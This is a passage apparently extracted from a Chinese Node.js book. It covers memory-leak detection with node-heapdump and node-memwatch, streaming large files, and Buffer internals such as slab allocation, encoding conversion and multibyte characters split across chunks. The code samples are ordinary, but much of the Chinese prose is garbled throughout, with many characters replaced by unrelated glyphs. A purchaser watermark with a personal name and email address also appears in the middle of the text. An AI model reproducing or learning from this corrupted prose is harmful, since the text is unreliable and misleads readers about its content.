这͊઄Ԩ的ঋཱ࠱会在஠͇目े下以heapdump-<sec>.<usec>.heapsnapshot的ಪयߚஉ。这是
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一͊ᣖ大的JSON஠͇，ᭉ要᤯过Chrome的开发者工Х੩开ಉᄹ。 

在Chrome的开发者工Х中ᤤ中Profiles᭦౛，Ծѣឞ஠͇后，从ीѢ的ঋ૸ᖜӬ中ᤤસLoad...

ᤤᮉ，੩开ѷ才的ঋཱ஠͇，就可以ಉᄹ۶内ߚ中的សጹ信ো，ݟ图5-10੝ᇧ。 

 

图5-10 ಉᄹ۶内ߚ中的សጹ信ো 

在图5-10中可以ᄹ到有大量的leakߙቿ˘ߚ在，这些ߙቿ˘就是一ᄯల能३到ٿ收的数૵。

᤯过在开发者工Х的᭦౛中ಉᄹ内ߚ分࣊，我们可以੼到෹໣的数૵，ཨ后಩૵这些信ো੼到ᤴ

੆෹໣的̼ᆉ。 

5.5.2� node-memwatch 

node-memwatch的用ก֖node-heapdump一样，我们ᭉ要эܫ一͊Х有内ߚ෹໣的̼ᆉ。这᧖

不вᠻᤗnode-memwatch的߶ᜈ过程。ஞ个ᇧΒ̼ᆉݟ下Ὑ 

var memwatch = require('memwatch'); 
memwatch.on('leak', function (info) { 
  console.log('leak:'); 
  console.log(info); 
}); 
 
memwatch.on('stats', function (stats) { 
  console.log('stats:') 
  console.log(stats); 
}); 
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var http = require('http'); 
 
var leakArray = []; 
var leak = function () { 
  leakArray.push("leak" + Math.random()); 
}; 
 
http.createServer(function (req, res) { 
  leak(); 
  res.writeHead(200, {'Content-Type': 'text/plain'}); 
  res.end('Hello World\n'); 
}).listen(1337); 
 
console.log('Server running at http://127.0.0.1:1337/'); 

1. statsџӊ 
在ᤈ程中使用node-memwatch之后，ඇ次ᤈᛠК۶ٿڥۇ收时，࠱会触发一次stats事͇，这

个事͇࠱会͛ᤫ内ߚ的统᝟信ো。在对上ᤗ̼ᆉ创त的服务ᤈ程ᤈᛠ᝺问时，౼次stats事͇੩

Ӿ的数૵ݟ下੝ᇧ，Ф中ඇᮉ的਒˦写在ซ᧕中了Ὑ 

stats: 
{ num_full_gc: 4, // ڼबْ全堆垃圾回收 
  num_inc_gc: 23, // ڼबْሺ量垃圾回收 
  heap_compactions: 4, // ڼबْ对઻生代进行ኝ理 
  usage_trend: 0, // 使用൵势 
  estimated_base: 7152944, // ᇨࠚ基数 
  current_base: 7152944, // 当前基数 
  min: 6720776, // ፌ小 
  max: 7152944 } // ፌٷ 

在这些数૵中，num_full_gc֖num_inc_gcඊᣖᄯ᜹ڠ反应了ٿڥۇ收的情х。 

2. leakџӊ 
，෹໣的产生ߚཨ没有ᜁ᧕உ，这਒։着有内̮ߚ收后，内ٿڥۇ౦经过ᤋ续5次ݟ

node-memwatch会Ѣ发一个leak事͇。౼次leak事͇३到的数૵ݟ下੝ᇧὙ 

leak: 
{ start: Mon Oct 07 2013 13:46:27 GMT+0800 (CST), 
  end: Mon Oct 07 2013 13:54:40 GMT+0800 (CST), 
  growth: 6222576, 
  reason: 'heap growth over 5 consecutive GCs (8m 13s) - 43.33 mb/hr' } 

这个数૵能௬ᇧ5次ٿڥۇ收的过程中内ܘߚ᫁了多࠵。 

3. ේݙᄬ↨䕗 
最ጻ३到的leak事͇的信ো只能նᅻ我们应用中ߚ在内ߚ෹໣，Хͳ问题产生在ʹܪ还ᭉ要

从V8的۶内ߚ上定ͮ。node-memwatchଡΘ了઄Ԩঋཱ֖ඊᣖঋཱ的ҩ能，它能ܴඊᣖ۶上对៵

的Տሥ֖分ᦠ数量，从Ꮺ੼Ѣ࠭ᒰ内ߚ෹໣的Њџ。 

下᭦为一ൿ࠭ᒰ内ߚ෹໣的̼ᆉ，这是᤯过node-memwatchᖌԨ۶内ࢿߚऩፆ౦的ᇧΒὙ 

var memwatch = require('memwatch'); 
var leakArray = []; 
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var leak = function () { 
  leakArray.push("leak" + Math.random()); 
}; 
 
// Take first snapshot 
var hd = new memwatch.HeapDiff(); 
 
for (var i = 0; i < 10000; i++) { 
  leak(); 
} 
 
// Take the second snapshot and compute the diff 
var diff = hd.end(); 
console.log(JSON.stringify(diff, null, 2)); 

੯ᛠ上᭦这ൿ̼ᆉ，३到的ᣤѢፆ౦ݟ下੝ᇧὙ 

$ node diff.js  
{ 
  "before": { 
    "nodes": 11719, 
    "time": "2013-10-07T06:32:07.000Z", 
    "size_bytes": 1493304, 
    "size": "1.42 mb" 
  }, 
  "after": { 
    "nodes": 31618, 
    "time": "2013-10-07T06:32:07.000Z", 
    "size_bytes": 2684864, 
    "size": "2.56 mb" 
  }, 
  "change": { 
    "size_bytes": 1191560, 
    "size": "1.14 mb", 
    "freed_nodes": 129, 
    "allocated_nodes": 20028, 
    "details": [ 
      { 
        "what": "Array", 
        "size_bytes": 323720, 
        "size": "316.13 kb", 
        "+": 15, 
        "-": 65 
      }, 
      { 
        "what": "Code", 
        "size_bytes": -10944, 
        "size": "-10.69 kb", 
        "+": 8, 
        "-": 28 
      }, 
      { 
        "what": "String", 
        "size_bytes": 879424, 
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        "size": "858.81 kb", 
        "+": 20001, 
        "-": 1 
      } 
    ] 
  } 
} 

在上᭦的ᣤѢፆ౦中，˞要关ซchangeᓫཁ下的freed_nodes֖allocated_nodes，它们᝭े了

᧕உ的ᓫཁ数量֖分ᦠ的ᓫཁ数量。这᧖由于有内ߚ෹໣，分ᦠ的ᓫཁ数量ᤉᤉ多余᧕உ的ᓫཁ

数量。在details下可以ᄹ到Хͳඇሗዜۋ的分ᦠ֖᧕உ数量，˞要问题ࡘဗ在下᭦这ൿᣤѢ中Ὑ 

{ 
  "what": "String", 
  "size_bytes": 879424, 
  "size": "858.81 kb", 
  "+": 20001, 
  "-": 1 
} 

在上ᤗ̼ᆉ中，加Ձ֖ђՁ分Ѿᛪᇧ分ᦠ֖᧕உ的ߙቿ˘对៵数量。可以᤯过上᭦的ᣤѢፆ

౦࿮测到，有大量的ߙቿ˘没有ᜁٿ收。 

5.5.3� ᇣ㒧 

从本ᓫ的内ࠓ我们可以३ᅻ，ଅಉ内ߚ෹໣的ԓ因˞要᤯过对۶内ߚᤈᛠ分ౡᏪ੼到。

node-heapdump֖node-memwatchՉ有੝᫁，读者可以ፆՋ它们的优势ᤈᛠ内ߚ෹໣ଅಉ。 

5.6� ໻ݙᄬᑨ⫼ 

在Node中，不可ᥗБڠ还是会ߚ在ୱ作大஠͇的场景。由于Node的内ߚᬌ҃，ୱ作大஠͇

也ᭉ要小心，好在NodeଡΘ了streamഴڰ用于ူܪ大஠͇。 

streamഴڰ是Node的ԓ生ഴڰ，ᄯ接ल用Ԁ可。stream继੽自EventEmitter，Х۲ܫ本的自

定˦事͇ҩ能，Վ时ઙ៵Ѣಕэ的事͇֖ழก。它分可读֖可写ˏሗ。Node中的大多数ഴڰ都有

stream的应用，ඊݟfs的createReadStream()֖createWriteStream()ழก可以分Ѿ用于创त஠͇

的可读ึ֖可写ึ，processഴڰ中的stdin֖stdoutѶ分Ѿ是可读ึ֖可写ึ的ᇧΒ。 

由于V8的内ߚᬌ҃，我们௃ก᤯过fs.readFile()֖fs.writeFile()ᄯ接ᤈᛠ大஠͇的ୱ作，

Ꮺஇ用fs.createReadStream()֖fs.createWriteStream()ழก᤯过ึ的ழय实ဗ对大஠͇的ୱ

作。下᭦的̼ᆉࡘᇧ了ݟʹ读Ԩ一个஠͇，ཨ后࠱数૵写入到Բ一个஠͇的过程Ὑ 

var reader = fs.createReadStream('in.txt'); 
var writer = fs.createWriteStream('out.txt'); 
reader.on('data', function (chunk) { 
  writer.write(chunk); 
}); 
reader.on('end', function () { 
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  writer.end(); 
}); 

由于读写ഴڌۋ定，上ᤗழก有ఝኤผ的ழय，Хͳݟ下੝ᇧὙ 

var reader = fs.createReadStream('in.txt'); 
var writer = fs.createWriteStream('out.txt'); 
reader.pipe(writer); 

可读ึଡΘ了管᥊ழกpipe()，࠯ᜈ了data事͇֖写入ୱ作。᤯过ึ的ழय，上ᤗ̼ᆉ不会

ԩ到V8内ߚᬌ҃的ॕֽ，有஌ڠଡ高了程序的ϣܤ性。 

试ᤈᛠጥዱ的Bufferୱ࠼可以，ူܪ᭦的ୱ作，Ѷ不ᭉ要ύүV8౎ࡎ˘ቿߙ౦不ᭉ要ᤈᛠݟ

作，这不会ԩ到V8۶内ߚ的ᬌ҃。ͭ是这ሗ大ྞ使用内ߚ的情хΙཨ要小心，Ԁ使V8不ᬌ҃۶

内ߚ的大小，ྫྷူ内ߚΙཨ有ᬌ҃。 

5.7� ᘏ㒧 

Node࠱JavaScript的˞要应用场景ੰࡘ到了服务٧端，相应要Ꮵᘼ的ጹᓫ也与เ᜾٧端不Վ，

ᭉ要ఝː៞ڠ为ඇ一͊ᠪ源作Ѣ߶ଅ。঳的౎ឬ，内ߚ在Node中不能ᬣ心੝ൗڠ使用，ͭ 也不是

߸К不୰᫁。本ብ̭ፀ了内ߚ的Չሗᬌ҃，࣎భ读者可以在使用中᜺ᥗሄॻ，与生খ系统中的Չ

ሗᣃ͇ୃᦠ，发૘Node的᫁ܪ。 

5.8� খ㗗䌘⑤ 

在这᧖，我ྱѾਕ៘ᖅ౩对本ብ的ૈ࠭。本ብԟᏥ的ᠪ源ݟ下੝ᇧὙ 

� https://github.com/joyent/node/wiki/FAQ 

� http://www.cs.sunysb.edu/~cse304/Fall08/Lectures/mem-handout.pdf 

� http://en.wikipedia.org/wiki/Resident_set_size 

� https://github.com/isaacs/node-lru-cache 

� https://github.com/mranney/node_redis 

� https://github.com/3rd-Eden/node-memcached 

� http://nodejs.org/docs/latest/api/stream.html 

� http://www.showmuch.com/a/20111012/215033.html 

� https://github.com/lloyd/node-memwatch 

� https://github.com/bnoordhuis/node-heapdump 

� http://www.williamlong.info/archives/3042.html 

� https://code.google.com/p/v8/issues/detail?id=847 

� http://blog.chromium.org/2011/11/game-changer-for-interactive.html 
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⧚㾷Buffer 

 
JavaScript对于ߙቿ˘（string）的ୱ作Ӡ分友好，௃᝶是ߙࠔᓫߙቿ˘还是Ӭߙᓫߙቿ˘，

都ᜁ认为是一个ߙቿ˘。ᇧΒ̼ᆉݟ下੝ᇧὙ 

console.log("0123456789".length); // 10 
console.log("ଭᅃܾෙ຺࿵ୃ೿ӗ৵".length); //10 
console.log("\u00bd".length); // 1 

对ඊPHP中的ߙቿ˘统᝟，我们ᭉ要动用ᮨ外的ѥ数౎ᖌԨߙቿ˘的᫁ऎ。ᇧΒ̼ᆉݟ下੝ᇧὙ 

<?php 
echo strlen("0123456789"); // 10 
echo "\n"; 
echo strlen("ଭᅃܾෙ຺࿵ୃ೿ӗ৵"); // 30 
echo "\n"; 
echo mb_strlen("ଭᅃܾෙ຺࿵ୃ೿ӗ৵", "utf-8"); //10 
echo "\n"; 
?> 

与ኃ5ብ̭ፀ的内ࠓ一样，本ብᝮᤗ的也是前端JavaScript开发者不డ๗Ԣ的内ࠓ。஠͇֖网

ፎI/O对于前端开发者Ꮺ言都是不డ有的应用场景，因为前端只ᭉ做一些ኤӬ的ߙቿ˘ୱ作੊

DOMୱ作۲本就能໗ᡛˉ务ᭉය，在ECMAScript᜺ᔴ中，也没有对这些ழ᭦做͉ʹ的定˦，只

有CommonJS中有部分̃ᤈ҃的定˦。由于应用场景不Վ，在Node中，应用ᭉ要ူܪ网ፎӨᝫ、

ୱ作数૵ं、ူܪ图ྞ、接收上͛஠͇ኍ，在网ፎึ֖஠͇的ୱ作中，还要ူܪ大量̃ᤈ҃数૵，

JavaScript自有的ߙቿ˘ᤉᤉ不能໗ᡛ这些ᭉය，于是Buffer对៵应ᤁᏪ生。 

6.1� Buffer 㒧ᵘ 

Buffer是一个像Array的对៵，ͭ它˞要用于ୱ作ߙᓫ。下᭦我们从ഴڰፆౝ֖对៵ፆౝ的ࡎ

᭦上౎认识它。 

6.1.1� ῵ഫ㒧ᵘ 

Buffer是一个Цۋ的JavaScript与C++ፆՋ的ഴڰ，它࠱性能相关部分用C++实ဗ，࠱᭣性能

相关的部分用JavaScript实ဗ，ݟ图6-1੝ᇧ。 

第 � 章

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

15518
线条

15518
线条

15518
线条

15518
线条



138� � ኃ 6 ብ� ူᝌ Buffer 

 

 

图6-1 Buffer的分工 

ኃ5ብପᇧ了Buffer੝ӳ用的内ߚ不是᤯过V8分ᦠ的，࡚于۶外内ߚ。由于V8ٿڥۇ收性能

的ॕֽ，࣡࠱用的ୱ作对៵用ఝ高஌֖˃有的内ߚ分ᦠٿ收ን႔౎管ူ是个不ᩱ的ধᡸ。 

由于Bufferܹ过࣡᜸，Node在ᤈ程ը动时就已经加ᣑ了它，并࠱Фஉ在Кࡌ对៵（global）

上。੝以在使用Buffer时，௃ᮋ᤯过require()Ԁ可ᄯ接使用。 

6.1.2� Bufferᇍ䈵 

Buffer对៵ዜͪ于数组，它的Њገ为16ᤈ҃的ˏͮ数，Ԁ0到255的数Ϙ。ᇧΒ̼ᆉݟ下੝ᇧὙ 

var str = "ศ入റ出node.js"; 
var buf = new Buffer(str, 'utf-8'); 
console.log(buf); 
// => <Buffer e6 b7 b1 e5 85 a5 e6 b5 85 e5 87 ba 6e 6f 64 65 2e 6a 73> 

由上᭦的ᇧΒ可᜸，不Վ编ᆉ的ߙቿ˘ӳ用的Њገ个数Չ不相Վ，上᭦̼ᆉ中的中஠ߙ在

UTF-8编ᆉ下ӳ用3个Њገ，ߙආ֖ӦᝇಕཁቿՁӳ用1个Њገ。 

BufferԩArrayዜۋ的ॕֽ很大，可以᝺问length࡚性३到᫁ऎ，也可以᤯过下ಕ᝺问Њገ，

在ౝᤴ对៵时也Ӡ分相ͪ，̼ᆉݟ下Ὑ 

var buf = new Buffer(100); 
console.log(buf.length); // => 100 

上ᤗ̼ᆉ分ᦠ了一个᫁100ߙᓫ的Buffer对៵。可以᤯过下ಕ᝺问ѷ初始Ӑ的Buffer的Њገ，

̼ᆉݟ下Ὑ 

console.log(buf[10]); 

这᧖会३到一个ඊᣖ݈য的ፆ౦，它的ЊገϘ是一个0到255的ᬣ机Ϙ。 

Վ样，我们也可以᤯过下ಕ对它ᤈᛠᠱϘὙ 

buf[10] = 100; 
console.log(buf[10]); // => 100 

Ϙ३ซ਒的是，ݟ౦ፋЊገᠱϘ不是0到255的ஞ数Ꮺ是小数时会ঞ样փ὞ᇧΒ̼ᆉݟ下੝ᇧὙ 

buf[20] = -100; 
console.log(buf[20]); // 156 
buf[21] = 300; 
console.log(buf[21]); // 44 
buf[22] = 3.1415; 
console.log(buf[22]); // 3 
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ፋЊገ的ᠱϘݟ౦小于0，就࠱ឞϘᤩ次加256，ᄯ到३到一个0到255之ᫍ的ஞ数。ݟ౦३到

的数Ϙ大于255，就ᤩ次ђ256，ᄯ到३到0~255区ᫍ内的数Ϙ。ݟ౦是小数，ᒻप小数部分，只

γ႐ஞ数部分。 

6.1.3� Bufferݙᄬߚ䜡 

Buffer对៵的内ߚ分ᦠ不是在V8的۶内ߚ中，Ꮺ是在Node的C++ࡎ᭦实ဗ内ߚ的ႁ请的。因

为ူܪ大量的ߙᓫ数૵不能᧓用ᭉ要一ཁ内ߚ就Փୱ作系统ႁ请一ཁ内ߚ的ழय，这可能ᤴ੆大

量的内ߚႁ请的系统ុ用，对ୱ作系统有一定ԌҦ。为൤Node在内ߚ的使用上应用的是在C++

 。的ን႔ߚ在JavaScript中分ᦠ内、ߚ᭦ႁ请内ࡎ

为了高஌ڠ使用ႁ请౎的内ߚ，Node᧓用了slab分ᦠ机҃。slab是一ሗ动খ内ߚ管ူ机҃，最௉

ភ生于SunOSୱ作系统（Solaris）中，目前在一些*nixୱ作系统中有广ค的应用，ݟFreeBSD֖Linux。 

ኤӬᏪ言，slab就是一ڰႁ请好的ڌ定大小的内ߚ区۪。slabХ有ݟ下3ሗ࿃খ。 

� fullὙ߸К分ᦠ࿃খ。 

� partialὙ部分分ᦠ࿃খ。 

� emptyὙ没有ᜁ分ᦠ࿃খ。 

ॆ我们ᭉ要一个Buffer对៵，可以᤯过以下ழय分ᦠૈ定大小的Buffer对៵Ὑ 

new Buffer(size); 

Node以8 KB为ႌᬌ౎区分Buffer是大对៵还是小对៵Ὑ 

Buffer.poolSize = 8 * 1024; 

这个8 KB的Ϙ也就是ඇ个slab的大小Ϙ，在JavaScriptࡎ᭦，以它作为ӬͮӬЊᤈᛠ内ߚ的分ᦠ。 

 䜡ᇣBufferᇍ䈵ߚ .1
于8 KB，Node会૊ཱ小对៵的ழयᤈᛠ分ᦠ。Buffer的分ᦠ过程中࠵౦ૈ定Buffer的大小ݟ

˞要使用一个ࡌ部Ԫ量pool作为中ᫍူܪ对៵，ܪ于分ᦠ࿃খ的slabӬЊ都ૈՓ它。以下是分ᦠ

一个К新的slabӬЊ的ୱ作，它会࠱新ႁ请的SlowBuffer对៵ૈՓ它Ὑ 

var pool; 
 
function allocPool() { 
  pool = new SlowBuffer(Buffer.poolSize); 
  pool.used = 0; 
} 

图6-2为一个新ౝᤴ的slabӬЊᇧΒ。 

 

图6-2 新ౝᤴ的slabӬЊᇧΒ 
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在图6-2中， slabܪ于empty࿃খ。 

ౝᤴ小Buffer对៵时的̼ᆉݟ下Ὑ 

new Buffer(1024); 

这次ౝᤴ࠱会Ԝ೜ಉpool对៵，ݟ౦pool没有ᜁ创त，࠱会创त一个新的slabӬЊૈՓ它Ὑ 

if (!pool || pool.length - pool.used < this.length) allocPool(); 

Վ时ॆ前Buffer对៵的parent࡚性ૈՓឞslab，并᝭े下是从这个slab的ג个ͮᎵ（offset）

开始使用的，slab对៵自ᢵ也᝭ेᜁ使用了多ߙ࠵ᓫ，̼ᆉݟ下Ὑ 

this.parent = pool; 
this.offset = pool.used; 
pool.used += this.length; 
if (pool.used & 7) pool.used = (pool.used + 8) & ~7; 

图6-3为从一个新的slabӬЊ中初次分ᦠ一个Buffer对៵的ᇧ਒图。 

 

图6-3 从一个新的slabӬЊ中初次分ᦠ一个Buffer对៵ 

这时候的slab࿃খ为partial。 

ॆв次创त一个Buffer对៵时，ౝᤴ过程中࠱会ѻற这个slab的қ余ቆᫍ是否ᡛܴ。ݟ౦ᡛ

ܴ，使用қ余ቆᫍ，并ఝ新slab的分ᦠ࿃খ。下᭦的̼ᆉ创त了一个新的Buffer对៵，它会ल起

一次slab分ᦠὙ 

new Buffer(3000); 

图6-4为в次分ᦠ的ᇧ਒图。 

 

图6-4 从slabӬЊ中в次分ᦠ一个Buffer对៵ 

ኃ一，ݟ会ౝᤴ新的slab，ԓslab中қ余的ቆᫍ会ᤴ੆ํ᠟。Β࠱，౦slabқ余的ቆᫍ不ܴݟ

次ౝᤴ1ߙᓫ的Buffer对៵，ኃ̃次ౝᤴ8192ߙᓫ的Buffer对៵，由于ኃ̃次分ᦠ时slab中的ቆᫍ
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不ܴ，੝以创त并使用新的slab，ኃ一个slab的8 KB࠱会ᜁኃ一个1ߙᓫ的Buffer对៵࿗ӳ。下᭦

的̼ᆉ一Р使用了ˏ个slabӬЊὙ 

new Buffer(1); 
new Buffer(8192); 

这᧖要ซ਒的事ᮉ是，由于Վ一个slab可能分ᦠፋ多个Buffer对៵使用，只有这些小Buffer对

៵在作用۪᧕உ并都可以ٿ收时，slab的8 KBቆᫍ才会ᜁٿ收。ࡉ管创त了1个ߙᓫ的Buffer对៵，

ͭ是ݟ౦不᧕உ它，实ᬄ可能是8 KB的内ߚ没有᧕உ。 

 䜡໻Bufferᇍ䈵ߚ .2
会ᄯ接分ᦠ一个SlowBuffer对៵作为slabӬЊ，这个slab࠱，៵౦ᭉ要ᡓ过8 KB的Buffer对ݟ

ӬЊ࠱会ᜁ这个大Buffer对៵࿗ӳ。 

// Big buffer, just alloc one 
this.parent = new SlowBuffer(this.length); 
this.offset = 0; 

这᧖的SlowBufferዜ是在C++中定˦的，ᙉཨल用bufferഴڰ可以᝺问到它，ͭ是不推荐ᄯ

接ୱ作它，Ꮺ是用Bufferఢ̼。 

上᭦ଡ到的Buffer对៵都是JavaScriptࡎ᭦的，能ܴᜁV8的ٿڥۇ收ಕ᝭ٿ收。ͭ 是Ф内部的

parent࡚性ૈՓ的SlowBuffer对៵ԁ౎自于Node自ᢵC++中的定˦，是C++ࡎ᭦上的Buffer对៵，

੝用内ߚ不在V8的۶中。 

3. ᇣ㒧 
ኤӬᏪ言，ᄽൣ的内ߚ是在Node的C++ࡎ᭦ଡΘ的，JavaScriptࡎ᭦只是使用它。ॆ ᤈᛠ小Ꮺ

ᮟጒ的Bufferୱ作时，᧓用slab的机҃ᤈᛠᮔЎႁ请֖事后分ᦠ，使३JavaScript到ୱ作系统之ᫍ

不ॸ有过多的内ߚႁ请ழ᭦的系统ុ用。对于大ڰ的BufferᏪ言，Ѷᄯ接使用C++ࡎ᭦ଡΘ的内

 。Ꮺ௃ᭉጹᒍ的分ᦠୱ作，ߚ

6.2� Buffer ⱘ䕀ᤶ 

Buffer对៵可以与ߙቿ˘之ᫍ相̈ᣀ૰。目前ஂ૆的ߙቿ˘编ᆉዜۋ有ݟ下这几ሗ。 

� ASCII 

� UTF-8 

� UTF-16LE/UCS-2 

� Base64 

� Binary 

� Hex 

6.2.1� ᄫヺІ䕀Buffer 

 ቿ˘ᣀBuffer对៵˞要是᤯过ౝᤴѥ数߸੆的Ὑߙ
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new Buffer(str, [encoding]); 

᤯过ౝᤴѥ数ᣀ૰的Buffer对៵，ߚϱ的只能是一ሗ编ᆉዜۋ。encodingԟ数不͛ᤫ时，᳭

认૊UTF-8编ᆉᤈᛠᣀᆉ֖ߚϱ。 

一个Buffer对៵可以ߚϱ不Վ编ᆉዜۋ的ߙቿ˘ᣀᆉ的Ϙ，ុ用write()ழก可以实ဗឞ目

的，̼ᆉݟ下Ὑ 

buf.write(string, [offset], [length], [encoding]) 

由于可以不ற写入内ࠓ到Buffer对៵中，并且ඇ次写入可以ૈ定编ᆉ，੝以Buffer对៵中可

以ߚ在多ሗ编ᆉᣀӐ后的内ࠓ。ᭉ要小心的是，ඇሗ编ᆉ੝用的ߙᓫ᫁ऎ不Վ，࠱Buffer反ᣀٿ

 。ူܪቿ˘时ᭉ要៞ਠߙ

6.2.2� Buffer䕀ᄫヺІ 

实ဗBufferՓߙቿ˘的ᣀ૰也Ӡ分ኤӬ，Buffer对៵的toString()可以࠱Buffer对៵ᣀ૰为ߙ

ቿ˘，̼ᆉݟ下Ὑ 

buf.toString([encoding], [start], [end]) 

ඊᣖዴࢻ的是，可以᝹Ꮅencoding（᳭认为UTF-8）、start、end这3个ԟ数实ဗஞͳ੊ࡌ部

的ᣀ૰。ݟ౦Buffer对៵由多ሗ编ᆉ写入，就ᭉ要在ࡌ部ૈ定不Վ的编ᆉ，才能ᣀ૰࣡ൣٿ的编

ᆉ。 

6.2.3� Bufferϡᬃᣕⱘ㓪ⷕ㉏ൟ 

目前ඊᣖ᥋ਲ਼的是，Node的Buffer对៵ஂ૆的编ᆉዜۋ有ᬌ，只有࠵数的几ሗ编ᆉዜۋ可以

在ߙቿ˘֖Buffer之ᫍᣀ૰。为൤，BufferଡΘ了一个isEncoding()ѥ数౎ѻற编ᆉ是否ஂ૆ᣀ૰Ὑ 

Buffer.isEncoding(encoding) 

Ϙ为true，否Ѷ为false。很᥋ਲ਼ٿ౦ஂ૆ᣀ૰ᤄݟ，作为ԟ数͛入上᭦的ѥ数ۋ编ᆉዜ࠱

的是，在中国࣡用的GBK、GB2312֖BIG-5编ᆉ都不在ஂ૆的ᛠѴ中。 

对于不ஂ૆的编ᆉዜۋ，可以ύүNode生খړ中的ഴڰ߸੆ᣀ૰。iconv֖iconv-liteˏ个

ഴڰ可以ஂ૆ఝ多的编ᆉዜۋᣀ૰，包括Windows 125系Ѵ、ISO-8859系Ѵ、IBM/DOS̼ᆉ页系

Ѵ、Macintosh系Ѵ、KOI8系Ѵ，以ԢLatin1、US-ASCII，也ஂ૆ߙࠔᓫ编ᆉGBK֖GB2312。 

iconv-lite᧓用ጥJavaScript实ဗ，iconvѶ᤯过C++ុ用libiconvं߸੆。前者ඊ后者ఝᣏ量，

௃ᮋ编ដ֖ူܪ环境Ιᠺᄯ接使用。在性能ழ᭦，由于ᣀᆉ都是Ᏹ用CPU，在V8的高性能下，࠵

了C++到JavaScript的ࡎ次ᣀ૰，ጥJavaScript的性能ඊC++实ဗ३ఝ好。 

以下为iconv-lite的ᇧΒ̼ᆉὙ 

var iconv = require('iconv-lite'); 
 
// Buffer转字符串 
var str = iconv.decode(buf, 'win1251'); 
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// 字符串转Buffer 
var buf = iconv.encode("Sample input string", 'win1251'); 

Բ外，iconv֖iconv-lite对௃กᣀ૰的内ࠓᤈᛠᬋጞူܪ时的ழ಴不ࡉ相Վ。iconv-lite௃

กᣀ૰的内ݟࠓ౦是多ߙᓫ，会ᣤѢ ὚ݟ౦是Ӭߙᓫ，ѶᣤѢ?。iconvѶ有ʻጞᬋጞን႔，会

࠱ࠓ౦不᝹Ꮅ঒႔，iconv对于௃กᣀ૰的内ݟ。ࠓ੊者঒႔这些内，ࠓ试Ꮱដ௃กᣀ૰的内࠼

会३到EILSEQऩ࣡。ݟ下是iconv的ᇧΒ̼ᆉЩᤤᮉ᝹ᎵழयὙ 

var iconv = new Iconv('UTF-8', 'ASCII'); 
iconv.convert('ça va'); // throws EILSEQ 
 
var iconv = new Iconv('UTF-8', 'ASCII//IGNORE'); 
iconv.convert('ça va'); // returns "a va" 
 
var iconv = new Iconv('UTF-8', 'ASCII//TRANSLIT'); 
iconv.convert('ça va'); // "ca va" 
 
var iconv = new Iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE'); 
iconv.convert('ça va Ȧ'); // "ca va " 

6.3� Buffer ⱘᣐ᥹ 

Buffer在使用场景中，᤯࣡是以一ൿ一ൿ的ழय͛ᣤ。以下是࣡᜸的从ᣤ入ึ中读Ԩ内ࠓ的

ᇧΒ̼ᆉὙ 

var fs = require('fs'); 
 
var rs = fs.createReadStream('test.md'); 
var data = ''; 
rs.on("data", function (chunk){ 
  data += chunk; 
}); 
rs.on("end", function () { 
  console.log(data); 
}); 

上᭦这ൿ̼ᆉ࣡᜸于国外，用于ึ读Ԩ的ᇧᔴ，data事͇中ᖌԨ的chunk对៵Ԁ是Buffer对៵。

对于初学者Ꮺ言，ࠓ௛࠱Bufferॆ做ߙቿ˘౎ူ解，੝以在接ԩ上᭦的ᇧΒ时不会᜿३有͉ʹऩ

࣡。 
一ெᣤ入ึ中有ߙࠔᓫ编ᆉ时，问题就会఑᭚Ѣ౎。ݟ౦你在᤯过Node开发的网ቢ上ᄹ到

˼ᆉቿՁ，ᥦ˥ឞ问题的起源多Ӧ౎自于这᧖。 
这᧖໷ᘨ的问题在于ݟ下这Ա̼ᆉὙ 

data += chunk; 

这Ա̼ᆉ᧖ᬤᘨ了toString()ୱ作，它ኍ͈于ݟ下的̼ᆉὙ 

data = data.toString() + chunk.toString(); 

Ϙ३ซ਒的是，外国人的语境᤯࣡是ૈᔭ஠环境，在他们的场景下，这个toString()不会ᤴ
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੆͉ʹ问题。ͭ对于ߙࠔᓫ的中஠，ԁ会्੆问题。为了᧗ဗ这个问题，下᭦我们ഴ઱ᤂͪ的场

景，࠱஠͇可读ึ的ඇ次读Ԩ的Buffer᫁ऎᬌ҃为11，̼ᆉݟ下Ὑ 

var rs = fs.createReadStream('test.md', {highWaterMark: 11}); 

ୃᦠឞ̼ᆉ的测试数૵为ృᄆ的Ǒ᭡ܳধǒ。੯ᛠឞ程序，࠱会३到以下ᣤѢὙ 

 ၕăࠤ上ຠǗਉཀྵ���௽ሆǈ���ཀྵາں���ǈᅑ࠼���前௽ض

6.3.1� хⷕᰃབԩѻ⫳ⱘ 

上᭦的ថൠ中，þ月ÿ、þ是ÿ、þభÿ、þͯÿ4个ߙ没有ᜁൣ࣡ᣤѢ，ԨᏪ̼之的是3个 。产

生这个ᣤѢፆ౦的ԓ因在于஠͇可读ึ在读Ԩ时会ᤩ个读ԨBuffer。这ᯪថ的ԓ始Buffer应ߚ 

ϱ为Ὑ 

<Buffer e5 ba 8a e5 89 8d e6 98 8e e6 9c 88 e5 85 89 ef bc 8c e7 96 91 e6 98 af e5 9c b0 e4 b8 8a e9 
9c 9c ef bc 9b e4 b8 be e5 a4 b4 e6 9c 9b e6 98 8e e6 9c 88 ...> 

由于我们ᬌ定了Buffer对៵的᫁ऎ为11，因൤只读ึᭉ要读Ԩ7次才能߸੆߸ஞ的读Ԩ，ፆ౦

是以下几个Buffer对៵Ι次ᣤѢὙ 

<Buffer e5 ba 8a e5 89 8d e6 98 8e e6 9c> 
<Buffer 88 e5 85 89 ef bc 8c e7 96 91 e6> 
... 

上஠ଡ到的buf.toString()ழก᳭认以UTF-8为编ᆉ，中஠ߙ在UTF-8下ӳ3个ߙᓫ。੝以ኃ

一个Buffer对៵在ᣤѢ时，只能௬ᇧ3个ߙቿ，Buffer中қ下的2个ߙᓫ（e6 9c）࠱会以˼ᆉ的्

य௬ᇧ。ኃ̃个Buffer对៵的ኃ一个ߙᓫ也不能्੆஠ߙ，只能௬ᇧ˼ᆉ。于是्੆一些஠ߙ௃

กൣ࣡௬ᇧ的问题。 

在这个ᇧΒ中我们ౝᤴ了11这个ᬌ҃，ͭ是对于͉਒᫁ऎ的BufferᏪ言，ߙࠔᓫߙቿ˘都有

可能ߚ在ᜁ੔ற的情х，只不过Buffer的᫁ऎᡔ大Ѣဗ的ഏညᡔͯᏪ已，ͭ ឞ问题Ιཨ不可঒᜼。 

6.3.2� setEncoding()Ϣstring_decoder() 

在ᄹ过上ᤗ的ᇧΒ后，也᝴我们ঃ᝭了可读ึ还有一个᝹Ꮅ编ᆉ的ழกsetEncoding()，ᇧ

Βݟ下Ὑ 

readable.setEncoding(encoding) 

